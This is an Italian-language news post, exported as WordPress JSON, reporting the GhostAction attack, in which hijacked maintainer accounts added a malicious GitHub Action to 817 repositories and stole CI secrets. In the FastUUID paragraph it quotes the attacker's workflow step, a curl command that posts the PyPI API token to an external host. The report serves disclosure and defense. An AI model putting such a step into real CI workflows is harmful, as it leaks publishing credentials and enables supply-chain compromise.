{"id":142433,"date":"2025-09-06T11:11:58","date_gmt":"2025-09-06T09:11:59","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github"},"modified":"2025-09-06T11:11:58","modified_gmt":"2025-09-06T09:11:59","slug":"v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/novosti-interneta\/v-hode-ataki-ghostaction-skomprometirovano-817-repozitoriev-na-github","title":{"rendered":"Durante l'attacco GhostAction sono stati compromessi 817 repository su GitHub","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
I ricercatori di GitGuardian hanno identificato un attacco massiccio agli utenti di GitHub, attraverso il quale \u00e8 stato preso il controllo di 327 account e inserito un handler malevolo nel GitHub Action in 817 repository. L'attacco ha portato alla perdita di 3325 segreti, utilizzati nei sistemi di integrazione continua e trasmessi attraverso variabili ambientali, inclusi i token di accesso per PyPI, GitHub, NPM, DockerHub e vari servizi di storage cloud.
<\/center> <\/p>\n
GitHub Actions consente agli sviluppatori di codice di allegare gestori per automatizzare varie operazioni su GitHub. Ad esempio, con GitHub Actions \u00e8 possibile eseguire controlli e test specifici durante i commit o automatizzare la gestione di nuovi Issues. Un gestore malevolo si propagava sotto il nome di «Github Actions Security» e includeva nella sezione «run» un comando «curl» che inviava il contenuto delle variabili d'ambiente a un host esterno durante l'esecuzione di attivit\u00e0 in un ambiente di integrazione continua. Un commit malevolo \u00e8 stato aggiunto da account di manutentori di progetti che probabilmente erano stati compromessi o erano diventati vittime di phishing. <\/p>\n
L'attacco \u00e8 stato identificato dopo l'analisi di un'attivit\u00e0 anomala associata al pacchetto FastUUID, che fornisce un'interfaccia Python per la libreria Rust UUID. Il pacchetto FastUUID, che ha registrato quasi 1,2 milioni di download nell'ultima settimana, \u00e8 utilizzato come dipendenza nel popolare progetto LiteLLM, che conta oltre 5 milioni di download a settimana in PyPI. L'analisi delle modifiche nel repository di FastUUID ha rivelato che il 2 settembre il manutentore del progetto ha aggiunto un commit con un nuovo gestore GitHub Action, contenente il codice per inviare il token al repository PyPI a un host esterno. — name: Github Actions Security run: | curl -s -X POST -d ‘PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}’ https:\/\/bold-dhawan.45-139-104-115.plesk.page <\/p>\n
Si \u00e8 riusciti a identificare il problema prima che i malintenzionati potessero sfruttare il token compromesso — non sono stati registrati pubblicazioni di modifiche malevole o versioni modificate del pacchetto in PyPI per FastUUID. Sostituzioni simili di GitHub Action sono state individuate in altri 816 repository, ai cui proprietari, cos\u00ec come all'amministrazione di PyPI, GitHub, NPM e DockerHub, sono state inviate notifiche. Fino alla serata di ieri, i commit malevoli sono stati annullati in circa 100 repository. Attualmente, cercando in GitHub, si identificano 671 commit con GitHub Action malevolo. \n Fonte: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"
![\"Durante](\"\/wp-content\/uploads\/2025\/09\/67680941517aef43057214be405892b7.png\")
<\/center> <\/p>\n